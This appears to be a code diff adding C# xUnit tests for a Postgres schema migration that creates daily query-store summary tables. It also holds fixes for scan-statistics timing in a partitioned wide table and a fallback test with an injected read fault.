+using System.Reflection;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the Darling rung that adds the daily summary tables for <c>get_query_store_top</c>'s long windows (#5094):
+/// <c>collect.query_store_top_daily</c> and <c>collect.query_store_top_daily_built</c>. Both are plain tables (a day is
+/// deleted and rebuilt whole, which a hypertable chunk would complicate), the summary's key columns copy the types of
+/// <c>collect.query_store_interval_wide</c> and its unique index is <c>NULLS NOT DISTINCT</c> because most key columns
+/// are NULL for most rows. The summary is approximate by design; the rung only creates the tables, and no reader or
+/// writer uses them yet. Every fact finds the rung by NAME, so a renumber is one edit to the registration, the constant
+/// and the viewer's <c>return</c>. The live facts run when <c>DARLING_TEST_PG</c> is set, each on its own scratch store.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class QueryStoreTopDailyRungTests
+{
+    public const string RungName = "query-store-top-daily";
+
+    private const string Daily = "query_store_top_daily";
+
+    private const string Built = "query_store_top_daily_built";
+
+    /// <summary>This rung's sentinel; the ordinal is a fact of the probe's shape. A newer rung's sentinel follows it.</summary>
+    private const int ProbeOrdinal = 136;
+
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the daily summary tables' live pins (each mints its own scratch database).";
+
+    private static readonly string[] KeyColumns =
+    {
+        "server_id", "day", "database_name", "query_id", "plan_id", "query_hash", "execution_type_desc", "replica_role", "module_name",
+    };
+
+    private static readonly string[] AveragedColumns =
+    {
+        "avg_duration_us", "avg_cpu_time_us", "avg_logical_io_reads", "avg_logical_io_writes", "avg_physical_io_reads", "avg_rowcount",
+    };
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>The rung's version, read off the migration registered under <see cref="RungName"/>.</summary>
+    public static int RungVersion => Rung.Version;
+
+    private static PgMigrations.Migration Rung => PgMigrations.Scripts.Single(m => m.Name == RungName);
+
+    /// <summary>The rung's SQL with its comments removed, so a pin reads statements and not the prose around them.</summary>
+    private static string Statements() =>
+        Regex.Replace(Rung.Sql, @"/\*.*?\*/", " ", RegexOptions.Singleline).Replace("\r\n", "\n", StringComparison.Ordinal);
+
+    /// <summary>The columns of one <c>CREATE TABLE</c> in a script, name to type text, in order.</summary>
+    private static List<(string Name, string Type)> ColumnsOf(string sql, string table)
+    {
+        var stripped = Regex.Replace(sql, @"/\*.*?\*/", " ", RegexOptions.Singleline).Replace("\r\n", "\n", StringComparison.Ordinal);
+        var header = "CREATE TABLE IF NOT EXISTS " + table + "\n(";
+        var start = stripped.IndexOf(header, StringComparison.Ordinal);
+        Assert.True(start >= 0, "no CREATE TABLE for " + table);
+        var end = stripped.IndexOf("\n)", start, StringComparison.Ordinal);
+        var columns = new List<(string, string)>();
+        foreach (var raw in stripped[(start + header.Length)..end].Split('\n'))
+        {
+            var line = raw.Trim().TrimEnd(',');
+            if (line.Length == 0 || line.StartsWith("CONSTRAINT", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            var space = line.IndexOf(' ', StringComparison.Ordinal);
+            var type = line[(space + 1)..].Replace(" NOT NULL", string.Empty, StringComparison.Ordinal).Trim();
+            columns.Add((line[..space], type));
+        }
+
+        return columns;
+    }
+
+    private static string WideSql() =>
+        PgMigrations.Scripts.Single(m => m.Sql.Contains("CREATE TABLE IF NOT EXISTS collect.query_store_interval_wide\n", StringComparison.Ordinal)
+            || m.Sql.Contains("CREATE TABLE IF NOT EXISTS collect.query_store_interval_wide\r\n", StringComparison.Ordinal)).Sql;
+
+    [Fact]
+    public void TheCleanup_IsDrivenFromTheSmallBuiltTable_SoTheSummaryDeleteIsAnIndexProbeByKey()
+    {
+        /* #5507: the shape PlanRegressionDaily took in #5448. A delete on the summary with a day test OR a NOT IN of its own
+           cannot use ux_query_store_top_daily and reads every summary row on every hourly tick. */
+        var built = Regex.Replace(QueryStoreTopDaily.GcBuiltSql, @"\s+", " ");
+        Assert.StartsWith("DELETE FROM collect.query_store_top_daily_built", built.TrimStart(), StringComparison.Ordinal);
+        Assert.Contains("RETURNING server_id, day", built, StringComparison.Ordinal);
+
+        var summary = Regex.Replace(QueryStoreTopDaily.GcSummarySql, @"\s+", " ");
+        Assert.Contains("DELETE FROM collect.query_store_top_daily WHERE server_id = $1::integer AND day = $2::date;", summary, StringComparison.Ordinal);
+        Assert.DoesNotContain(" OR ", summary, StringComparison.Ordinal);
+        Assert.DoesNotContain("NOT IN", summary, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheRungIsRegisteredInADenseLadder_AtVersion161()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+
+        Assert.Equal(RungName, Rung.Name);
+        Assert.Equal(161, Rung.Version);
+        /* No longer the top rung: V162 (the slow-read record) landed above it. */
+        Assert.True(Rung.Version < StorageVersion.SchemaVersion);
+        Assert.Equal(StorageVersion.SchemaVersion, PgMigrations.Scripts[^1].Version);
+        Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
+        Assert.Contains(Rung.Version - 1, versions);
+    }
+
+    [Fact]
+    public void BothTablesArePlainSchemaQualifiedTables_NotHypertables()
+    {
+        var sql = Statements();
+
+        Assert.Contains("CREATE TABLE IF NOT EXISTS collect." + Daily + "\n", sql, StringComparison.Ordinal);
+        Assert.Contains("CREATE TABLE IF NOT EXISTS collect." + Built + "\n", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("create_hypertable", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("timescaledb", sql, StringComparison.OrdinalIgnoreCase);
+
+        /* Every object is schema-qualified: the migrate session's search_path puts collect first, so a bare name would
+           still land in collect, but the next reader should not have to know that. */
+        foreach (var match in Regex.Matches(sql, @"(?:CREATE TABLE IF NOT EXISTS|ON)\s+(\S+)").Cast<Match>())
+        {
+            Assert.StartsWith("collect.", match.Groups[1].Value, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheUniqueIndex_IsNullsNotDistinct_OnExactlyTheIdentityKey()
+    {
+        var sql = Statements();
+        var index = Regex.Match(sql, @"CREATE UNIQUE INDEX IF NOT EXISTS ux_query_store_top_daily\s+ON collect\." + Daily + @"\s*\((?<cols>[^)]*)\)\s*(?<tail>[^;]*);");
+
+        Assert.True(index.Success, "the rung has no unique index named ux_query_store_top_daily on the summary table");
+        var columns = index.Groups["cols"].Value.Split(',').Select(c => c.Trim()).Where(c => c.Length > 0).ToArray();
+        Assert.Equal(KeyColumns, columns);
+        Assert.Equal("NULLS NOT DISTINCT", index.Groups["tail"].Value.Trim());
+    }
+
+    [Fact]
+    public void TheSummaryTable_HoldsTheExactlyRecombinableParts_AndTheRest()
+    {
+        var columns = ColumnsOf(Rung.Sql, "collect." + Daily);
+        var names = columns.Select(c => c.Name).ToList();
+
+        var expected = new List<string>(KeyColumns) { "interval_rows", "execution_count_sum" };
+        foreach (var column in AveragedColumns)
+        {
+            expected.Add(column + "_sum");
+            expected.Add(column + "_n");
+        }
+
+        expected.AddRange(new[] { "last_execution_time_max", "query_plan_hash_max", "first_execution_time_min" });
+        Assert.Equal(expected, names);
+
+        var types = columns.ToDictionary(c => c.Name, c => c.Type);
+        Assert.Equal("bigint", types["interval_rows"]);
+        Assert.Equal("numeric", types["execution_count_sum"]);
+        foreach (var column in AveragedColumns)
+        {
+            Assert.Equal("numeric", types[column + "_sum"]);
+            Assert.Equal("bigint", types[column + "_n"]);
+        }
+
+        /* Counts are NOT NULL (a day with no value has a zero count), sums are nullable (no value, no sum). */
+        var sql = Statements();
+        Assert.Contains("interval_rows bigint NOT NULL", sql, StringComparison.Ordinal);
+        foreach (var column in AveragedColumns)
+        {
+            Assert.Contains(column + "_n bigint NOT NULL", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain(column + "_sum numeric NOT NULL", sql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void EverySharedColumn_HasTheWideTablesType()
+    {
+        var wide = ColumnsOf(WideSql(), "collect.query_store_interval_wide").ToDictionary(c => c.Name, c => c.Type);
+        var daily = ColumnsOf(Rung.Sql, "collect." + Daily).ToDictionary(c => c.Name, c => c.Type);
+
+        /* The key columns that the wide table also has, by name; day is the one new date. */
+        foreach (var column in KeyColumns.Where(c => c != "day"))
+        {
+            Assert.True(wide.ContainsKey(column), column + " is not a wide-table column");
+            Assert.Equal(wide[column], daily[column]);
+        }
+
+        /* The three aggregates over a wide column take that column's type. */
+        Assert.Equal(wide["query_plan_hash"], daily["query_plan_hash_max"]);
+        Assert.Equal(wide["last_execution_time"], daily["last_execution_time_max"]);
+        Assert.Equal(wide["first_execution_time"], daily["first_execution_time_min"]);
+        Assert.Equal("date", daily["day"]);
+    }
+
+    [Fact]
+    public void TheBuiltTable_RecordsOneRowPerServerAndDay()
+    {
+        var columns = ColumnsOf(Rung.Sql, "collect." + Built);
+
+        Assert.Equal(
+            new[] { ("server_id", "integer"), ("day", "date"), ("pass", "smallint"), ("built_at", "timestamp"), ("source_rows", "bigint") },
+            columns.ToArray());
+        Assert.Matches(@"PRIMARY KEY \(server_id, day\)", Statements());
+        Assert.Contains("pass smallint NOT NULL", Statements(), StringComparison.Ordinal);
+        Assert.Contains("built_at timestamp NOT NULL", Statements(), StringComparison.Ordinal);
+        Assert.Contains("source_rows bigint NOT NULL", Statements(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheRungNeedsNoGrant_BecauseTheCollectSchemaGrantsCoverANewTable()
+    {
+        var sql = Statements();
+
+        Assert.DoesNotContain("GRANT", sql, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("REVOKE", sql, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void TheProbeCarriesTheTableAsAnArm_AndMapsItsRungOnce()
+    {
+        var probe = ViewerDataService.StoreSchemaProbeSql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var arm = $"to_regclass('collect.{Daily}') IS NOT NULL";
+        Assert.Contains(arm, probe, StringComparison.Ordinal);
+        Assert.True(probe.IndexOf(arm, StringComparison.Ordinal) < probe.IndexOf("collect.slow_reads", StringComparison.Ordinal),
+            "the newer rung's sentinel follows this one");
+
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var arity = method.GetParameters().Length;
+        Assert.True(ProbeOrdinal < arity - 1, "a newer rung's sentinel follows this one");
+        Assert.Equal("hasQueryStoreTopDaily", method.GetParameters()[ProbeOrdinal].Name);
+
+        var all = Enumerable.Range(0, arity).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
+        Assert.Equal(Rung.Version, (int)method.Invoke(null, all)!);
+
+        var behind = (object[])all.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(Rung.Version - 1, (int)method.Invoke(null, behind)!);
+
+        var thisArm = viewer.IndexOf("if (hasQueryStoreTopDaily)", StringComparison.Ordinal);
+        var nextArm = viewer.IndexOf("if (hasSlowReads)", StringComparison.Ordinal);
+        var previousArm = viewer.IndexOf("if (hasCollectorRunAt)", StringComparison.Ordinal);
+        Assert.True(thisArm >= 0, "no sentinel arm: a fully-migrated store would map one rung short");
+        Assert.True(nextArm >= 0 && nextArm < thisArm, "the newer rung's arm sits above this one's");
+        Assert.True(thisArm < previousArm, "this arm sits above the previous rung's, so a current store maps one rung short");
+        Assert.Contains($"return {Rung.Version};", viewer[thisArm..previousArm], StringComparison.Ordinal);
+
+        /* The V71 finding: the table is named in the probe line and nowhere in the arm's prose. The comment block sits
+           ABOVE the `if`, and this probe line has no information_schema in it, so the prose must not repeat the name. */
+        var armProseStart = viewer.LastIndexOf("/* V161 (#5094)", thisArm, StringComparison.Ordinal);
+        Assert.True(armProseStart >= 0, "the arm has no comment block saying why it exists");
+        Assert.DoesNotContain(Daily, viewer[armProseStart..thisArm], StringComparison.Ordinal);
+    }
+
+    private static async Task<NpgsqlConnection> MigratedAsync(ScratchPostgres scratch, System.Threading.CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>Everything that describes the two tables, as one string, so a test can say "unchanged" in one assertion.</summary>
+    private const string ShapeSql =
+        "SELECT (SELECT string_agg(table_name || '.' || column_name || ':' || data_type || ':' || is_nullable, ',' ORDER BY table_name, ordinal_position) FROM information_schema.columns WHERE table_schema = 'collect' AND table_name IN ('query_store_top_daily', 'query_store_top_daily_built'))"
+        + " || '|' || (SELECT string_agg(indexname || ':' || indexdef, ';' ORDER BY indexname) FROM pg_indexes WHERE schemaname = 'collect' AND tablename IN ('query_store_top_daily', 'query_store_top_daily_built'))"
+        + " || '|' || (SELECT count(*) FROM pg_trigger WHERE tgrelid IN ('collect.query_store_top_daily'::regclass, 'collect.query_store_top_daily_built'::regclass) AND NOT tgisinternal)";
+
+    [Fact]
+    public async Task MigratingAFreshStore_CreatesBothTablesAndTheUniqueIndex_AsPlainTables()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            Assert.Equal(StorageVersion.SchemaVersion, Convert.ToInt32(await ScalarAsync(connection, "SELECT MAX(version) FROM darling_schema_version", ct)));
+            Assert.True(await ScalarAsync(connection, "SELECT to_regclass('collect.query_store_top_daily') IS NOT NULL AND to_regclass('collect.query_store_top_daily_built') IS NOT NULL", ct) is true);
+
+            /* Plain relations (relkind 'r'), not hypertables, in the collect schema. */
+            Assert.Equal(2L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname = 'collect' AND c.relname IN ('query_store_top_daily', 'query_store_top_daily_built') AND c.relkind = 'r'", ct));
+            /* Plain-ness is asked of the catalog only when the store has no timescaledb: the hypertables view does not exist
+               there, and a relation in an OR still fails the parse. With the extension, neither table may be a hypertable. */
+            var hasTimescale = await ScalarAsync(connection, "SELECT EXISTS (SELECT 1 FROM pg_extension WHERE extname = 'timescaledb')", ct) is true;
+            if (hasTimescale)
+            {
+                Assert.True(await ScalarAsync(connection,
+                    "SELECT NOT EXISTS (SELECT 1 FROM timescaledb_information.hypertables WHERE hypertable_schema = 'collect' AND hypertable_name IN ('query_store_top_daily', 'query_store_top_daily_built'))", ct) is true);
+            }
+            else
+            {
+                Assert.True(await ScalarAsync(connection,
+                    "SELECT NOT EXISTS (SELECT 1 FROM pg_inherits i WHERE i.inhparent IN ('collect.query_store_top_daily'::regclass, 'collect.query_store_top_daily_built'::regclass) OR i.inhrelid IN ('collect.query_store_top_daily'::regclass, 'collect.query_store_top_daily_built'::regclass))", ct) is true);
+            }
+
+            /* The unique index exists, is unique, and is NULLS NOT DISTINCT on the key. */
+            var indexDef = (string?)await ScalarAsync(connection,
+                "SELECT indexdef FROM pg_indexes WHERE schemaname = 'collect' AND tablename = 'query_store_top_daily' AND indexname = 'ux_query_store_top_daily'", ct);
+            Assert.NotNull(indexDef);
+            Assert.Contains("UNIQUE INDEX", indexDef, StringComparison.Ordinal);
+            Assert.Contains("NULLS NOT DISTINCT", indexDef, StringComparison.Ordinal);
+            Assert.Contains("(server_id, day, database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role, module_name)", indexDef, StringComparison.Ordinal);
+
+            /* The built table's key is one row per server and day. */
+            Assert.Equal("server_id,day", await ScalarAsync(connection,
+                "SELECT string_agg(a.attname, ',' ORDER BY k.ord) FROM pg_constraint c CROSS JOIN LATERAL unnest(c.conkey) WITH ORDINALITY AS k(attnum, ord) JOIN pg_attribute a ON a.attrelid = c.conrelid AND a.attnum = k.attnum WHERE c.conrelid = 'collect.query_store_top_daily_built'::regclass AND c.contype = 'p'", ct));
+
+            /* The live column types equal the wide table's for every shared column. */
+            Assert.Equal(0L, await ScalarAsync(connection,
+                "SELECT count(*) FROM information_schema.columns d JOIN information_schema.columns w ON w.table_schema = 'collect' AND w.table_name = 'query_store_interval_wide' AND w.column_name = d.column_name WHERE d.table_schema = 'collect' AND d.table_name = 'query_store_top_daily' AND d.data_type <> w.data_type", ct));
+
+            /* NULLS NOT DISTINCT in effect: two rows whose nullable key columns are all NULL are one group. */
+            const string Insert =
+                "INSERT INTO collect.query_store_top_daily (server_id, day, interval_rows, avg_duration_us_n, avg_cpu_time_us_n, avg_logical_io_reads_n, avg_logical_io_writes_n, avg_physical_io_reads_n, avg_rowcount_n) VALUES (1, DATE '2026-01-02', 1, 0, 0, 0, 0, 0, 0)";
+            await ExecAsync(connection, Insert, ct);
+            var duplicate = await Assert.ThrowsAsync<PostgresException>(() => ExecAsync(connection, Insert, ct));
+            Assert.Equal("23505", duplicate.SqlState);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task TheReadOnlyRoles_CanSelectBothTables_ThroughTheCollectSchemaGrants()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        /* Roles are cluster-wide, so each run mints its own pair. */
+        var suffix = Guid.NewGuid().ToString("N")[..8];
+        var roles = new[] { "qstd_viewer_" + suffix, "qstd_mcp_" + suffix };
+
+        var bodySucceeded = false;
+        try
+        {
+            /* The provisioning grant model for the read-only roles (DarlingManagedRoles sections 2 and 6): SELECT on
+               every table in collect, as it is re-run after each migration pass. The rung adds no grant of its own. */
+            foreach (var role in roles)
+            {
+                await ExecAsync(connection,
+                    $"CREATE ROLE {role} NOLOGIN NOSUPERUSER; GRANT USAGE ON SCHEMA collect TO {role}; GRANT SELECT ON ALL TABLES IN SCHEMA collect TO {role};", ct);
+            }
+
+            foreach (var role in roles)
+            {
+                await ExecAsync(connection, $"SET ROLE {role}", ct);
+                var roleBodySucceeded = false;
+                try
+                {
+                    Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily", ct));
+                    Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily_built", ct));
+
+                    var refused = await Assert.ThrowsAsync<PostgresException>(() => ExecAsync(connection,
+                        "DELETE FROM collect.query_store_top_daily", ct));
+                    Assert.Equal("42501", refused.SqlState);
+                    roleBodySucceeded = true;
+                }
+                finally
+                {
+                    /* RESET ROLE is a session setting: it has to run on the very session that took SET ROLE. */
+                    await LiveStoreCleanup.RunOwnedAsync(roleBodySucceeded, async () =>
+                        await ExecAsync(connection, "RESET ROLE", ct));
+                }
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                foreach (var role in roles)
+                {
+                    await ExecAsync(cleanup, $"DROP OWNED BY {role}", cleanupCt);
+                    await ExecAsync(cleanup, $"DROP ROLE IF EXISTS {role}", cleanupCt);
+                }
+            });
+        }
+    }
+
+    [Fact]
+    public async Task ASecondMigrateRun_IsANoOp_AndTheRungsSqlRunAgain_ChangesNothing_AndKeepsItsRows()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(connection,
+                "INSERT INTO collect.query_store_top_daily (server_id, day, database_name, query_id, interval_rows, avg_duration_us_n, avg_cpu_time_us_n, avg_logical_io_reads_n, avg_logical_io_writes_n, avg_physical_io_reads_n, avg_rowcount_n) VALUES (1, DATE '2026-01-02', 'db_a', 7, 3, 3, 3, 3, 3, 3, 3)", ct);
+            await ExecAsync(connection,
+                "INSERT INTO collect.query_store_top_daily_built (server_id, day, pass, built_at, source_rows) VALUES (1, DATE '2026-01-02', 1, TIMESTAMP '2026-01-03 02:00:00', 3)", ct);
+
+            var shapeBefore = await ScalarAsync(connection, ShapeSql, ct);
+            var versionsBefore = await ScalarAsync(connection, "SELECT string_agg(version::text, ',' ORDER BY version) FROM darling_schema_version", ct);
+
+            await PgMigrations.MigrateAsync(connection, ct);
+            await ExecAsync(connection, Rung.Sql, ct);
+            await ExecAsync(connection, Rung.Sql, ct);
+
+            Assert.Equal(shapeBefore, await ScalarAsync(connection, ShapeSql, ct));
+            Assert.Equal(versionsBefore, await ScalarAsync(connection, "SELECT string_agg(version::text, ',' ORDER BY version) FROM darling_schema_version", ct));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily", ct));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_store_top_daily_built", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreTopLiteralEndStraddleLiveTests.cs b/Darling/Darling.Tests/QueryStoreTopLiteralEndStraddleLiveTests.cs
index 68c53f049e..eebf380e8f 100644
--- a/Darling/Darling.Tests/QueryStoreTopLiteralEndStraddleLiveTests.cs
+++ b/Darling/Darling.Tests/QueryStoreTopLiteralEndStraddleLiveTests.cs
@@ -97,8 +97,13 @@ clause except 4 passes and the literal-end reads below isolate clause 4 alone. *
 
         async Task<(long SeqScan, long IdxScan)> WideTableScanCountsAsync()
         {
+            await QuiesceScanStatisticsAsync(connection, ct);
+            /* #5571: the wide table is partitioned by day, so the parent has no counters of its own; a scan of it is counted on
+               the leaf partitions it reads (the legacy table and the daily ones), summed here. */
             await using var command = new NpgsqlCommand(
-                "SELECT COALESCE(seq_scan, 0), COALESCE(idx_scan, 0) FROM pg_stat_user_tables WHERE relname = 'query_store_interval_wide'", connection);
+                "SELECT COALESCE(SUM(s.seq_scan), 0)::bigint, COALESCE(SUM(s.idx_scan), 0)::bigint "
+                + "FROM pg_partition_tree('collect.query_store_interval_wide'::regclass) AS p "
+                + "JOIN pg_stat_user_tables AS s ON s.relid = p.relid WHERE p.isleaf", connection);
             await using var reader = await command.ExecuteReaderAsync(ct);
             if (!await reader.ReadAsync(ct))
             {
@@ -199,10 +204,10 @@ private static async Task SeedStraddleAsync(DarlingCollectorRunner runner, Cance
 
         /* Clause 3's own floor control: UseTable's tableFloor is MIN(first_execution_time) across the WHOLE
            server, not just this identity, and clause 3 refuses unless raw's chunk floor or WindowStart minus
-           IntervalSpanMargin ("skewFloor") reaches at or past it. Left with only the 7001 identity below, the
-           table's floor sits at day0 (WindowStart + 1h) - AFTER skewFloor (WindowStart - 1 day) - so clause 3
+           PurgeEdgeMargin ("edgeFloor") reaches at or past it. Left with only the 7001 identity below, the
+           table's floor sits at day0 (WindowStart + 1h) - AFTER edgeFloor (WindowStart - 26 h) - so clause 3
            alone refuses even the open-end positive control, before clause 4 is ever reached. A second,
-           unrelated identity anchored at or before skewFloor pulls the server's table floor down there, so
+           unrelated identity anchored at or before edgeFloor pulls the server's table floor down there, so
            clause 3 passes and only clause 4 (LiteralEnd vs applied_through) can still refuse the straddle read. */
         var floorAnchorFirst = WindowStart.AddDays(-2);
         var floorAnchor = new QueryStoreCollector.Row
@@ -290,6 +295,36 @@ private static async Task<bool> ScalarBoolAsync(NpgsqlConnection connection, str
         return (bool)(await command.ExecuteScalarAsync(ct))!;
     }
 
+    /// <summary>
+    /// The scan counters in pg_stat_user_tables are a backend's to report, and a backend reports late: a read's
+    /// connection closes before its backend exits, and the backend flushes its counters as it exits (a busy runner
+    /// stretches that, and a backend that reported a moment ago holds new counts for up to 10 seconds). A snapshot
+    /// read straight after a read therefore missed that read's scans, and the next snapshot saw them
+    /// (Expected (2, 5) Actual (2, 6)). Wait until no other client backend is left in this database (every read here
+    /// runs on its own unpooled connection, and a backend leaves pg_stat_activity only after its exit flush), then
+    /// flush this connection's own pending counters, so a snapshot holds every scan made before it, and only those.
+    /// </summary>
+    private static async Task QuiesceScanStatisticsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var deadline = DateTime.UtcNow.AddSeconds(30);
+        long others;
+        do
+        {
+            await using var command = new NpgsqlCommand(
+                "SELECT COUNT(*) FROM pg_stat_activity WHERE datname = current_database() AND backend_type = 'client backend' AND pid <> pg_backend_pid()", connection);
+            others = (long)(await command.ExecuteScalarAsync(ct))!;
+            if (others > 0)
+            {
+                Assert.True(DateTime.UtcNow < deadline, $"{others} other client backend(s) are still connected 30 seconds after the reads ended, so their scan counters are not final");
+                await Task.Delay(50, ct);
+            }
+        }
+        while (others > 0);
+
+        await using var flush = new NpgsqlCommand("SELECT pg_stat_force_next_flush()", connection);
+        await flush.ExecuteScalarAsync(ct);
+    }
+
     private static async Task<NpgsqlConnection> OpenMigratedAsync(ScratchPostgres scratch, CancellationToken ct)
     {
         var connection = new NpgsqlConnection(scratch.ConnectionString);
diff --git a/Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs b/Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs
index 4f4ce17b50..965bf76c10 100644
--- a/Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs
+++ b/Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs
@@ -44,6 +44,52 @@ public sealed class QueryStoreTopMcpLiveTests
 
     private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
 
+    [Fact]
+    public async Task ATableReadThatFaultsAfterTheGateSaidTable_AnswersFromRaw_AndNotesFallbackRaw()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5097 fallback live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenMigratedAsync(scratch, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator());
+
+        await QueryStoreIntervalWideGridLiveTests.SeedGridAsync(runner, ServerId, WindowStart, ct);
+        await ForceFilledSinceAsync(connection, WindowStart.AddDays(-1), ct);
+        await RegisterServerAsync(connection, ct);
+        var appliedThrough = await ScalarDateTimeAsync(connection,
+            "SELECT applied_through FROM collect.query_store_interval_wide_coverage WHERE server_id = @server_id", ct);
+        var queryEnd = appliedThrough > WindowEnd ? appliedThrough : WindowEnd;
+
+        var logger = new CapturingTestLogger();
+        using var scope = ReadScope.Open(logger);
+
+        var viaTable = await DarlingDataReader.GetQueryStoreTopWithReachAsync(postgres, ServerId, WindowStart, queryEnd, TestTop, null, null, null, ct);
+        Assert.NotNull(viaTable.Table);
+        Assert.Null(scope.Fallback);
+
+        DarlingDataReader.TestOnlyTableReadFault.Value = () => new InvalidOperationException("injected table read fault");
+        try
+        {
+            var viaFallback = await DarlingDataReader.GetQueryStoreTopWithReachAsync(postgres, ServerId, WindowStart, queryEnd, TestTop, null, null, null, ct);
+
+            Assert.Null(viaFallback.Table);
+            var rawKeys = await RawTopKeysAsync(connection, WindowStart, queryEnd, null, null, ct);
+            Assert.True(rawKeys.Count > 0, "the seed produced no raw rows; the comparison would be vacuous");
+            Assert.Equal(
+                rawKeys.OrderBy(k => k).ToList(),
+                viaFallback.Rows.Select(r => (r.DatabaseName, r.QueryId, r.PlanId, r.ExecutionTypeDesc, r.ReplicaRole, r.TotalExecutions)).OrderBy(k => k).ToList());
+            Assert.Equal(ReadFallback.FallbackRaw, scope.Fallback);
+            Assert.True(logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning) >= 1, logger.Joined);
+        }
+        finally
+        {
+            DarlingDataReader.TestOnlyTableReadFault.Value = null;
+        }
+    }
+
     [Fact]
     public async Task TheTableRead_EqualsRaw_UnfilteredAndFiltered_EndToEnd_ThroughMcpAndWebDispatch_AndTheLiveGate()
     {
@@ -302,9 +348,10 @@ private static async Task AssertRawEqualsTableAsync(
             raw.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(windowStart, DateTimeKind.Unspecified) });
             raw.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(WindowEnd, DateTimeKind.Unspecified) });
             raw.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TestTop });
-            AddNullableText(raw, null);
+            raw.Parameters.Add(PerformanceMonitor.Darling.Storage.DatabaseFilter.All.Parameter());
             AddNullableText(raw, executionType);
             AddNullableText(raw, moduleName);
